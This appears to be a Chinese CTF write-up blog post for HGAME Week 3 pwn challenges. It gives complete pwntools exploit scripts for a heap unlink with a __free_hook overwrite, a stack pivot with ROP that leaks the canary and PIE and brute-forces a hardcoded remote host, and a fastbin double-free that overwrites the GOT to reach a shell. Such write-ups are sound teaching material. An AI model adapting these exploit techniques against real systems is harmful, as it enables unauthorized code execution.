HGAME-Week3-Pwn

  • 2019 年 10 月 8 日
  • 笔记

Pwn-namebook

分析程序,看保护

64位程序仅关闭了PIE保护,使用IDAx64分析程序:

可以看到程序在申请chunk的函数中申请了长度为0x80的块,但是在edit函数中允许输入0x100的长度,因此存在unlink漏洞,思路是伪造chunk,然后进行任意地址读,读取libc加载基址,然后进行任意地址写,问题在于本程序开启了RELRO保护,导致GOT表无法被修改,而查看内存发现libc加载部分的后半部是允许写入的,那么我们可以修改freehook。

最终的exp如下:

from pwn import *  import sys  context.log_level='debug'  # context.arch='amd64'    namebook=ELF("./namebook")  libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")  if args['REMOTE']:      sh = remote(sys.argv[1], sys.argv[2])  else:      sh = process("./namebook")  def creat(index,value):      sh.recvuntil('>')      sh.sendline('1')      sh.recvuntil('index:')      sh.sendline(str(index))      sh.recvuntil('name:')      sh.sendline(value)    def delete(index):      sh.recvuntil('>')      sh.sendline('2')      sh.recvuntil('index:')      sh.sendline(str(index))    def show(index):      sh.recvuntil('>')      sh.sendline('3')      sh.recvuntil('index:')      sh.sendline(str(index))    def reset(index,value):      sh.recvuntil('>')      sh.sendline('4')      sh.recvuntil('index:')      sh.sendline(str(index))      sh.recvuntil('name:')      sh.sendline(value)      creat(0,"aa")  creat(1,"bb")  creat(2,"cc")  ptr_addr=0x602040  payload=p64(0x0)+p64(0x81)   #fake presize  & fake size  payload+=p64(ptr_addr-0x18) #fd  payload+=p64(ptr_addr-0x10) #bk  payload+=0x60*'A'            #paddings  payload+=p64(0x80)+p64(0x90)  # gdb.attach(sh,'b *0x400B96')  reset(0,payload)  delete(1)  reset(0,'A'*24+p64(ptr_addr-0x18)+p64(namebook.got['atoi']))  show(1)  atoi_addr=u64(sh.recv(6)+'x00'+'x00')  log.success("We get atoi_addr! It is "+str(hex(atoi_addr)))  libcbase_addr=atoi_addr-libc.symbols['atoi']  log.success("We get libc_base_addr! It is "+str(hex(libcbase_addr)))  system_addr=libcbase_addr+libc.symbols['system']  log.success("We get system_addr! It is "+str(hex(system_addr)))  freehook_addr=libcbase_addr+libc.symbols['__free_hook']  log.success("We get freehook_addr! It is "+str(hex(freehook_addr)))  reset(0,'1'*24+p64(freehook_addr))  # gdb.attach(sh)  reset(0,p64(system_addr))  reset(2,'/bin/sh')  delete(2)  sh.interactive()

Pwn-Steins;Gate3

分析程序,看保护

64位全保护程序,使用IDAx64分析程序发现与Steins;Gate2(Week2)相比,保护相同,但是在check4处限制了溢出长度

现在我们覆盖rbp之后只能溢出四字节,那么考虑使用栈迁移技术。 在第二次回到main函数后泄露PIE,然后再次返回main函数。 然后在第三次回到main函数是先在BSS段布置ROP

'/bin/shx00'|poprdi_addr|binsh_addr|system_addr

最后返回到sysytem函数。 写出的exp如下,gdb调试发现

已经成功进入了system函数且参数正常

但是会在system内部发生错误进而退出 最后问题解决的思路是不再在BSS上布置ROP链,改为leak栈地址。然后在栈上布置ROP。 最终exp如下:

from pwn import *  import sys  while True:      # sh = process("./SteinsGate3")      sh = remote('118.24.3.214', 12343)      log.info("Turn 1!")      sh.recvuntil(':')      sh.sendline('error404')      log.info("First Attack!")      sh.recvuntil('To seek the truth of the world.n')      pay = 'a'*0x30+p64(0x2333)      sh.send(pay)      log.info("Secound Attack!")      sh.recvuntil("Repeater is nature of man.n")      sh.send("%7$p")      rand = int(sh.recvuntil("You")[:10],16)      log.success("The rand num is:"+str(hex(rand)))      sh.recvuntil("?n")      rand = rand+0x1234      sh.send(p32(0x6666)*12+p32(rand))      log.info("Third Attack!")      # sh.recvuntil("Payment of past debts.n")      # sh.send("%11$p")      # canary = int(sh.recv()[:18],16)      # log.success("The canary num is:"+str(hex(canary)))      # pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'xdB'+'x6d'      # sh.send(pay)      try:          sh.recvuntil("Payment of past debts.n")          sh.send("%11$p")          canary = int(sh.recv()[:18],16)          log.success("The canary num is:"+str(hex(canary)))          pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'xdB'+'x6d'          sh.send(pay)          log.info("Turn 2!")          sh.recvuntil(':')          sh.sendline('error404')          log.info("First Attack!")          sh.recvuntil('To seek the truth of the world.n')          pay = 'a'*0x30+p64(0x2333)          sh.send(pay)          log.info("Secound Attack!")          sh.recvuntil("Repeater is nature of man.n")          sh.send("%7$p")          rand = int(sh.recvuntil("You")[:10],16)          log.success("The rand num is:"+str(hex(rand)))          sh.recvuntil("?n")          rand = rand+0x1234          sh.send(p32(0x6666)*12+p32(rand))          log.info("Third Attack!")          sh.recvuntil("Payment of past debts.n")          sh.send("%13$p")          PIE = int(sh.recv()[:11],16)*16*16*16          log.success("The PIE base_addr is:"+str(hex(PIE)))          system_addr=PIE+0xc8b          log.success("The system_addr is:"+str(hex(system_addr)))          poprdi_addr=PIE+0xe83          log.success("The poprdi_addr base_addr is:"+str(hex(poprdi_addr)))          poprsi_addr=PIE+0xe81          log.success("The poprsi_addr base_addr is:"+str(hex(poprsi_addr)))          heap_addr=PIE+0x202048          log.success("The heap_addr base_addr is:"+str(hex(heap_addr)))          binsh_addr=PIE+0x202040          log.success("The binsh_addr base_addr is:"+str(hex(binsh_addr)))          pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'xdB'+'x6d'          sh.send(pay)          log.info("Turn 3!")          sh.recvuntil(':')          sh.send('/bin/shx00')          log.info("First Attack!")          sh.recvuntil('To seek the truth of the world.n')          pay = 'a'*0x30+p64(0x2333)          sh.send(pay)          log.info("Secound Attack!")          sh.recvuntil("Repeater is nature of man.n")          sh.send("%7$p")          rand = int(sh.recvuntil("You")[:10],16)          log.success("The rand num is:"+str(hex(rand)))          sh.recvuntil("?n")          rand = rand+0x1234          sh.send(p32(0x6666)*12+p32(rand))          log.info("Third Attack!")          sh.recvuntil("Payment of past debts.n")          sh.send("%12$p")          stack_addr = int(sh.recv()[:14],16)-0x38          log.success("The stack_addr is:"+str(hex(stack_addr)))          leaveret_addr=PIE+0xc91          log.success("The leaveret_addr is:"+str(hex(leaveret_addr)))          pay = 'CCCCCCCC'+p64(poprdi_addr)+p64(binsh_addr)+p64(system_addr)+'a'*0x10+p64(0x2333)+p64(canary)+p64(stack_addr-0x38)+p64(leaveret_addr)          # gdb.attach(sh)          sh.send(pay)          sh.interactive()          break      except EOFError,ValueError:          sh.close()          pass

关于line 89的解释,这里的stackaddr-0x38是调试确定的,在打印出栈上地址后,输入ROP链,然后进行GDB附加调试,发现布置的ROP链出现在stackaddr-0x38,于是可确定。 该exp与week 2相同,每次循环的成功率为1/16。

附:week2泄露PIE基址思路:这里我们可以在Check 4利用时使程序返回main函数,然后在第二轮运行的Check 3处leak PIE这里比较头疼的是如何返回main函数,PIE技术地址的后三位是不变的,因此可以使用低位覆盖技术,但是查看代码发现main函数的起始地址与返回地址倒数第三位不同,那么倒数第四位我们可以采取碰撞的思路。

Pwn-薯片拯救世界3

分析程序,看保护

64位程序开启了NX和Canary保护,使用IDAx64分析程序:

可以看到free之后并未将指针置0,可造成UAF漏洞,并且发现

malloc的chunk大小恰好属于fastbin范围内,那么可以利用fastbin attack 为了绕过free检查,窝们先申请两个chunk,在两次free(0)之间插入一个free(1) 又发现了程序中存在后门函数

那么我们可以通过覆写got表,将某个函数的got中的地址替换为后门函数的地址,但是malloc函数存在一个检查,我们需要找到一个合适的地址来绕过malloc函数检查。

这里可以利用stdout的0x7F来绕过malloc函数检查,但是如果选用stdout的0x7F就意味着我们只能覆写stdout之后的内存,这里可以注意到

指针数组的值在可覆写范围,那么我们可以篡改指针数组的值,这样我们在利用edit函数改写某一个“公告”的值时将会改写目标地址的值,这里我们将puts的got表地址改写为后门函数的地址即可getshell。 最终exp如下:

from pwn import *  import sys  # context.log_level='debug'  context.arch='amd64'    # file_name=ELF("./")  if args['REMOTE']:      sh = remote(sys.argv[1], sys.argv[2])  else:      sh = process("./CSTW_3")  def creat(value):      sh.recvuntil('>')      sh.sendline('1')      sh.recvuntil(':')      sh.sendline(value)      print(sh.recvline())    def delete(index):      sh.recvuntil('>')      sh.sendline('3')      sh.recvuntil(':')      sh.sendline(str(index))      print(sh.recvline())    def edit(index,value):      sh.recvuntil('>')      sh.sendline('2')      sh.recvuntil(':')      sh.sendline(str(index))      sh.recvuntil(':')      sh.sendline(value)      print(sh.recvline())    sh.sendline('')  sh.sendline('')  sh.sendline('')  sh.sendline('')  creat('first')  creat('second')  delete(0)  delete(1)  delete(0)  creat(p64(0x60209D))  creat('malloc the second and the first* chunk')  creat('malloc the second and the first* chunk')  creat('a'*3+'b'*0x10+p64(0x602028))  # gdb.attach(sh)  sh.recvuntil('>')  sh.sendline('2')  sh.recvuntil(':')  sh.sendline(str(0))  sh.recvuntil(':')  sh.sendline(p64(0x400A04))  sh.interactive()